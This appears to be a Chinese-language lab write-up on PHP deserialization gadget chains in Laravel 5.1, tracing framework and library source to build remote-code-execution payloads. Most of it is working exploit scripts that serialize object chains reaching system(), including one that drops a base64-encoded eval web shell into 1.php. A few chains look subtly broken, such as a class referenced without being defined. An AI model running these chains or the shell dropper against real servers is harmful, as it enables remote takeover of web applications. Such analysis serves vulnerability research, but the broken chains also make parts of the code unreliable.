环境搭建

下载源码地址:https://github.com/laravel/laravel/releases/tag/v5.1.0

github上的源码会缺少vender目录

使用composer下载后,将vender目录拷贝到源码中

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"

PHP版本:7.3.22

.env.example中内容复制到新建的.env
设置APP_ENV=local

这样页面会显示报错信息。

修改ini文件,打开openssl extension

extension_dir = "ext"
extension=openssl

入口处

使用app/Http/routes.php编写入口

<?php
Route::get('admin/{obj}',function($s){
    if($s){
        unserialize(base64_decode($s));
        return 'unserialize done'.$s;
    }else{
        return 'unserialize error'.$s;
    }
});

RCE1分析

先全局搜索function __destruct()
找到vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

<?php
public function __destruct()
    {
        foreach ($this->_keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

每次迭代中,$nsKey变量会被赋值为$this->_keys的键,而$null变量在这个上下文中实际上是未使用的。

继续跟进clearAll()函数,is_file()is_dir()函数都会将参数当作string进行拼接处理,因为$this->_path可控,可以触发其他类的__toString()方法

这里的$this->_keys是一个二重数组,如下所示

[1,[1,1]],[2,[2,2]],...

这里因为会使用unlink删除文件,在构造_keys的内容时,写特殊一点,以防删掉服务器文件。

<?php
    /**
     * Check if the given $itemKey exists in the namespace $nsKey.
     *
     * @param string $nsKey
     * @param string $itemKey
     *
     * @return bool
     */
    public function hasKey($nsKey, $itemKey)
    {
        return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
    }

    /**
     * Clear data for $itemKey in the namespace $nsKey if it exists.
     *
     * @param string $nsKey
     * @param string $itemKey
     */
    public function clearKey($nsKey, $itemKey)
    {
        if ($this->hasKey($nsKey, $itemKey)) {
            $this->_freeHandle($nsKey, $itemKey);
            unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
        }
    }
    /**
     * Clear all data in the namespace $nsKey if it exists.
     *
     * @param string $nsKey
     */
    public function clearAll($nsKey)
    {
        if (array_key_exists($nsKey, $this->_keys)) {
            foreach ($this->_keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->_path.'/'.$nsKey)) {
                rmdir($this->_path.'/'.$nsKey);
            }
            unset($this->_keys[$nsKey]);
        }
    }

下一步寻找可利用__toString()函数的类

这里可以选择vendor/mockery/mockery/library/Mockery/Generator/DefinedTargetClass.php中的__toString()方法作为触发的点,其先会调用getName()方法,且该方法中的$this->rfc是可控的,因此可以来触发一个没有getName()方法的类从而来触发该类中的__call()方法

<?php

namespace Mockery\Generator;

class DefinedTargetClass
{
    private $rfc;

    public function __construct(\ReflectionClass $rfc)
    {
        $this->rfc = $rfc;
    }
...
    public function getName()
    {
        return $this->rfc->getName();
    }
...
    public function __toString()
    {
        return $this->getName();
    }
...

全局搜索__call()方法,跟进vendor/fzaninotto/faker/src/Faker/ValidGenerator.php中的__call()方法,其 while 语句内的$this->validator是可控的,当$res能够是命令执行函数的参数时即可触发命令执行 RCE,由于$this->generator也是可控的,因此可以寻找一个能够有返回参数值的方法类来达到返回命令执行函数参数的目的从而 RCE

call_user_func()函数只会返回NULL,所以会一直循环。设置$this->maxRetries来限制循环次数。

call_user_func_array()函数使用参考

<?php
    /**
     * Catch and proxy all generator calls with arguments but return only valid values
     * @param string $name
     * @param array $arguments
     *
     * @return mixed
     */
    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }

这里可以用vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php来做触发点,当前面设置的$name方法不存在时这里就会触发到__call()方法,从而返回可控参数$this->default的值,这样就可以控制$res参数了。

<?php

namespace Faker;

/**
 * This generator returns a default value for all called properties
 * and methods. It works with Faker\Generator\Base->optional().
 */
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }

    /**
     * @param string $attribute
     *
     * @return mixed
     */
    public function __get($attribute)
    {
        return $this->default;
    }

    /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->default;
    }
}

exp

<?php
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($cmd)
        {
            $this->default = $cmd;
        }
    }
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($cmd){
            $this->generator=new DefaultGenerator($cmd);
            $this->maxRetries=9;
            $this->validator='system';
        }
    }
}

namespace Mockery\Generator{
    use Faker\ValidGenerator;
    class DefinedTargetClass
    {
        private $rfc;
        public function __construct($cmd)
        {
            $this->rfc=new ValidGenerator($cmd);
        }
    }
}

namespace{
    use Mockery\Generator\DefinedTargetClass;
    class Swift_KeyCache_DiskKeyCache{
        private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
        private $_path;
        public function __construct($cmd){
            $this->_path=new DefinedTargetClass($cmd);
        }
    }
    echo urlencode(base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("whoami"))));
}
?>

__toString处其他函数利用

寻找其他可利用的__toString()函数

IdenticalValueToken.php
ExactValueToken.php
中貌似可以利用

主要找有两个->的地方,能够跳到下一段_call代码处。

这里用
vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php

<?php
public function __toString() : string
    {
        if ($this->description) {
            $description = $this->description->render();
        } else {
            $description = '';
        }

        $version = (string) $this->version;

        return $version . ($description !== '' ? ($version !== '' ? ' ' : '') . $description : '');
    }

exp

<?php
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($cmd)
        {
            $this->default = $cmd;
        }
    }
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($cmd){
            $this->generator=new DefaultGenerator($cmd);
            $this->maxRetries=9;
            $this->validator='system';
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\ValidGenerator;
    class Deprecated
    {
        protected $description;
        public function __construct($cmd)
        {
            $this->description=new ValidGenerator($cmd);
        }
    }
}

namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
    class Swift_KeyCache_DiskKeyCache{
        private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
        private $_path;
        public function __construct($cmd){
            $this->_path=new DefinedTargetClass($cmd);
        }
    }
    echo urlencode(base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("whoami"))));
}
?>

__call处其他函数利用

找到vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php
跟进__call()方法,其调用了connection()方法,跟进去,这里要让其进入makeConnection()方法从而来利用call_user_func()方法来进行RCE

<?php

namespace Illuminate\Database;

use Illuminate\Support\Arr;
use Illuminate\Support\Str;
use InvalidArgumentException;
use Illuminate\Database\Connectors\ConnectionFactory;

class DatabaseManager implements ConnectionResolverInterface
{
    /**
     * The application instance.
     *
     * @var \Illuminate\Foundation\Application
     */
    protected $app;

    /**
     * The database connection factory instance.
     *
     * @var \Illuminate\Database\Connectors\ConnectionFactory
     */
    protected $factory;

    /**
     * The active connection instances.
     *
     * @var array
     */
    protected $connections = [];

    /**
     * The custom connection resolvers.
     *
     * @var array
     */
    protected $extensions = [];

    /**
     * Create a new database manager instance.
     *
     * @param  \Illuminate\Foundation\Application  $app
     * @param  \Illuminate\Database\Connectors\ConnectionFactory  $factory
     * @return void
     */
    public function __construct($app, ConnectionFactory $factory)
    {
        $this->app = $app;
        $this->factory = $factory;
    }

    /**
     * Get a database connection instance.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    public function connection($name = null)
    {
        list($name, $type) = $this->parseConnectionName($name);

        // If we haven't created this connection, we'll create it based on the config
        // provided in the application. Once we've created the connections we will
        // set the "fetch mode" for PDO which determines the query return types.
        if (! isset($this->connections[$name])) {
            $connection = $this->makeConnection($name);

            $this->setPdoForType($connection, $type);

            $this->connections[$name] = $this->prepare($connection);
        }

        return $this->connections[$name];
    }

    /**
     * Parse the connection into an array of the name and read / write type.
     *
     * @param  string  $name
     * @return array
     */
    protected function parseConnectionName($name)
    {
        $name = $name ?: $this->getDefaultConnection();

        return Str::endsWith($name, ['::read', '::write'])
                            ? explode('::', $name, 2) : [$name, null];
    }

    /**
     * Disconnect from the given database and remove from local cache.
     *
     * @param  string  $name
     * @return void
     */
    public function purge($name = null)
    {
        $this->disconnect($name);

        unset($this->connections[$name]);
    }

    /**
     * Disconnect from the given database.
     *
     * @param  string  $name
     * @return void
     */
    public function disconnect($name = null)
    {
        if (isset($this->connections[$name = $name ?: $this->getDefaultConnection()])) {
            $this->connections[$name]->disconnect();
        }
    }

    /**
     * Reconnect to the given database.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    public function reconnect($name = null)
    {
        $this->disconnect($name = $name ?: $this->getDefaultConnection());

        if (! isset($this->connections[$name])) {
            return $this->connection($name);
        }

        return $this->refreshPdoConnections($name);
    }

    /**
     * Refresh the PDO connections on a given connection.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    protected function refreshPdoConnections($name)
    {
        $fresh = $this->makeConnection($name);

        return $this->connections[$name]
                                ->setPdo($fresh->getPdo())
                                ->setReadPdo($fresh->getReadPdo());
    }

    /**
     * Make the database connection instance.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    protected function makeConnection($name)
    {
        $config = $this->getConfig($name);

        // First we will check by the connection name to see if an extension has been
        // registered specifically for that connection. If it has we will call the
        // Closure and pass it the config allowing it to resolve the connection.
        if (isset($this->extensions[$name])) {
            return call_user_func($this->extensions[$name], $config, $name);
        }

        $driver = $config['driver'];

        // Next we will check to see if an extension has been registered for a driver
        // and will call the Closure if so, which allows us to have a more generic
        // resolver for the drivers themselves which applies to all connections.
        if (isset($this->extensions[$driver])) {
            return call_user_func($this->extensions[$driver], $config, $name);
        }

        return $this->factory->make($config, $name);
    }

    /**
     * Prepare the database connection instance.
     *
     * @param  \Illuminate\Database\Connection  $connection
     * @return \Illuminate\Database\Connection
     */
    protected function prepare(Connection $connection)
    {
        $connection->setFetchMode($this->app['config']['database.fetch']);

        if ($this->app->bound('events')) {
            $connection->setEventDispatcher($this->app['events']);
        }

        // Here we'll set a reconnector callback. This reconnector can be any callable
        // so we will set a Closure to reconnect from this manager with the name of
        // the connection, which will allow us to reconnect from the connections.
        $connection->setReconnector(function ($connection) {
            $this->reconnect($connection->getName());
        });

        return $connection;
    }

    /**
     * Prepare the read write mode for database connection instance.
     *
     * @param  \Illuminate\Database\Connection  $connection
     * @param  string  $type
     * @return \Illuminate\Database\Connection
     */
    protected function setPdoForType(Connection $connection, $type = null)
    {
        if ($type == 'read') {
            $connection->setPdo($connection->getReadPdo());
        } elseif ($type == 'write') {
            $connection->setReadPdo($connection->getPdo());
        }

        return $connection;
    }

    /**
     * Get the configuration for a connection.
     *
     * @param  string  $name
     * @return array
     *
     * @throws \InvalidArgumentException
     */
    protected function getConfig($name)
    {
        $name = $name ?: $this->getDefaultConnection();

        // To get the database connection configuration, we will just pull each of the
        // connection configurations and get the configurations for the given name.
        // If the configuration doesn't exist, we'll throw an exception and bail.
        $connections = $this->app['config']['database.connections'];

        if (is_null($config = Arr::get($connections, $name))) {
            throw new InvalidArgumentException("Database [$name] not configured.");
        }

        return $config;
    }

    /**
     * Get the default connection name.
     *
     * @return string
     */
    public function getDefaultConnection()
    {
        return $this->app['config']['database.default'];
    }

    /**
     * Set the default connection name.
     *
     * @param  string  $name
     * @return void
     */
    public function setDefaultConnection($name)
    {
        $this->app['config']['database.default'] = $name;
    }

    /**
     * Register an extension connection resolver.
     *
     * @param  string    $name
     * @param  callable  $resolver
     * @return void
     */
    public function extend($name, callable $resolver)
    {
        $this->extensions[$name] = $resolver;
    }

    /**
     * Return all of the created connections.
     *
     * @return array
     */
    public function getConnections()
    {
        return $this->connections;
    }

    /**
     * Dynamically pass methods to the default connection.
     *
     * @param  string  $method
     * @param  array   $parameters
     * @return mixed
     */
    public function __call($method, $parameters)
    {
        return call_user_func_array([$this->connection(), $method], $parameters);
    }
}

跟进getConfig()方法,继续跟进Arr::get($connections, $name),可以看到经过get()方法返回回来的$config的值是可控的,可以将命令执行函数返回回来,从而导致 RCE

需要将$this->extensions[$name]赋值为call_user_func$config赋值为system,$name赋值为id(即$payload)

往上查看$name参数传递过程

list($name, $type) = $this->parseConnectionName($name);

继续跟进parseConnectionName()函数

protected function parseConnectionName($name)
    {
        $name = $name ?: $this->getDefaultConnection();

        return Str::endsWith($name, ['::read', '::write'])
                            ? explode('::', $name, 2) : [$name, null];
    }

继续跟进getDefaultConnection()函数

public function getDefaultConnection()
    {
        return $this->app['config']['database.default'];
    }

可以看到直接赋值$this->app['config']['database.default']=$payload就可以了,上一个函数对::进行分割,所以设置参数时也可以加::,虽然没啥用😅

继续看$config参数

$config = $this->getConfig($name);

跟进getConfig()函数

protected function getConfig($name)
    {
        $name = $name ?: $this->getDefaultConnection();

        // To get the database connection configuration, we will just pull each of the
        // connection configurations and get the configurations for the given name.
        // If the configuration doesn't exist, we'll throw an exception and bail.
        $connections = $this->app['config']['database.connections'];

        if (is_null($config = Arr::get($connections, $name))) {
            throw new InvalidArgumentException("Database [$name] not configured.");
        }

        return $config;
    }

继续跟进Arr::get

public static function get($array, $key, $default = null)
    {
        if (is_null($key)) {
            return $array;
        }

        if (isset($array[$key])) {
            return $array[$key];
        }
        ...

因为$name已经被我们赋值了,所以设置$this->app['config']['database.connections'] = [$payload => 'system']
$this->extensions[$payload]='call_user_func';
这样就构造完成了。

exp

<?php
namespace Illuminate\Database{
    class DatabaseManager{
        protected $app;
        protected $extensions ;
        public function __construct($payload)
        {
            $this->app['config']['database.default'] = $payload;
            $this->app['config']['database.connections'] = [$payload => 'system'];
            $this->extensions[$payload]='call_user_func';
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Illuminate\Database\DatabaseManager;
    class Deprecated
    {
        protected $description;
        public function __construct($payload)
        {
            $this->description=new DatabaseManager($payload);
        }
    }
}

namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
    class Swift_KeyCache_DiskKeyCache {
        private $_path;
        private $_keys = ['fallingskies' => ['fallingskies' => 'fallingskies']];
        public function __construct($payload) {
            $this->_path = new Deprecated($payload);
        }
    }
    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache("echo 'PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=='|base64 -d > 1.php")));
}
?>

命令执行成功后,会有报错信息

另一条

分析就省略了,就是改了__tostring和__call
这里注意调用__call时是能带入参数的,这里

$method=stringfy
$attributes=$this->value
<?php 
namespace Faker {
    class Generator {
        protected $formatters = array();
        function __construct() {
            $this->formatters = ['stringify' => "system"];
        }
    }
}

namespace Prophecy\Argument\Token {
    use Faker\Generator;
    class ExactValueToken {
        private $string;
        private $value;
        private $util;
        public function __construct($payload) {
            $this->string = null;
            $this->util = new Generator();;
            $this->value = $payload;
        }
    }
}

namespace {
    use Prophecy\Argument\Token\ExactValueToken;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['fallingskies' => ['fallingskies' => 'fallingskies']];
        public function __construct($payload) {
            $this->path = new ExactValueToken($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("whoami")));
}
?>

但是测试发现Generator中的__call利用不了,因为已经修复了
$this->formatters会清空,导致后面利用参数链断裂。

public function __wakeup()
    {
        $this->formatters = [];
    }

另另一条

vendor/laravel/framework/src/Illuminate/Validation/Validator.php

public function __call($method, $parameters)
    {
        $rule = Str::snake(substr($method, 8));
        echo $rule;
        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }

        throw new BadMethodCallException("Method [$method] does not exist.");
    }

跟进src/Illuminate/Validation/Validator.php中的__call()方法,先进行字符串的操作截取$method第八个字符之后的字符,由于传入的字符串是dispatch,正好八个字符所以传入后为空,接着调用callExtension()方法,通过instanceof Closure判断,触发call_user_func_array方法

exp

<?php
namespace Illuminate\Validation {
    class Validator {
       public $extensions = [];
       public function __construct() {
            $this->extensions = ['' => 'system'];
       }
    }
}

namespace Illuminate\Broadcasting {
    use  Illuminate\Validation\Validator;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Validator();
            $this->event = $cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>

但是PendingBroadcast这个类没有了,我们需要找另一个符合要求的类,很难(这里没找到)。
看下能否利用callClassBasedExtension方法。

可以看到,我们用上面的DefaultGenerator方法,可以控制$this->container->make($class)的值,然后$method我们也可以通过$callback参数控制,$parameters参数也是可控的

但是因为这里使用的数组形式,所以我们要找可以利用的$this->container->make($class)->$method($parmeters)

    /**
     * Call a class based validator extension.
     *
     * @param  string  $callback
     * @param  array   $parameters
     * @return bool
     */
    protected function callClassBasedExtension($callback, $parameters)
    {
        list($class, $method) = explode('@', $callback);

        return call_user_func_array([$this->container->make($class), $method], $parameters);
    }

这里找到DebugClassLoaderloadClass方法

public function loadClass($class)
    {
        ErrorHandler::stackErrors();

        try {
            echo "loooooooadclass";
            if ($this->isFinder && !isset($this->loaded[$class])) {
                $this->loaded[$class] = true;
                if ($file = $this->classLoader[0]->findFile($class)) {
                    require $file;
                }
            } else {
                echo "sssssssssssucccesss";
                call_user_func($this->classLoader, $class);
                $file = false;
            }
        } catch (\Exception $e) {
            ErrorHandler::unstackErrors();

            throw $e;
        } catch (\Throwable $e) {
            ErrorHandler::unstackErrors();

            throw $e;
        }

编写exp

<?php
namespace{
    use Prophecy\Argument\Token\ObjectStateToken;
    class Swift_KeyCache_DiskKeyCache{
        private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
        private $_path;
        public function __construct($cmd){
            $this->_path=new ObjectStateToken($cmd);
        }
    }
    echo urlencode(base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc"))));
}
namespace Prophecy\Argument\Token{
    use Illuminate\Validation\Validator;
    class ObjectStateToken{
        private $name;
        private $value;
        private $util;
        public function __construct($cmd){
            $this->name='';
            $this->value=$cmd;
            $this->util=new Validator();
        }
    }
}

namespace Illuminate\Validation{
    use Faker\DefaultGenerator;
    class Validator{
        protected $container;
        protected $extensions = [];
        public function __construct(){
            $this->extensions['y']='xxx@loadClass';
            $this->container=new DefaultGenerator();
        }
    }
}
namespace Faker{
    use Symfony\Component\Debug\DebugClassLoader;
    class DefaultGenerator
    {
        protected $default;

        public function __construct()
        {
            $this->default = new DebugClassLoader();
        }
    }
}

namespace Symfony\Component\Debug{
    class DebugClassLoader
    {

        private $classLoader;
        public function __construct()
        {
            $this->classLoader = "system";
        }
    }
}
?>

参考文章

https://www.anquanke.com/post/id/258264#h3-11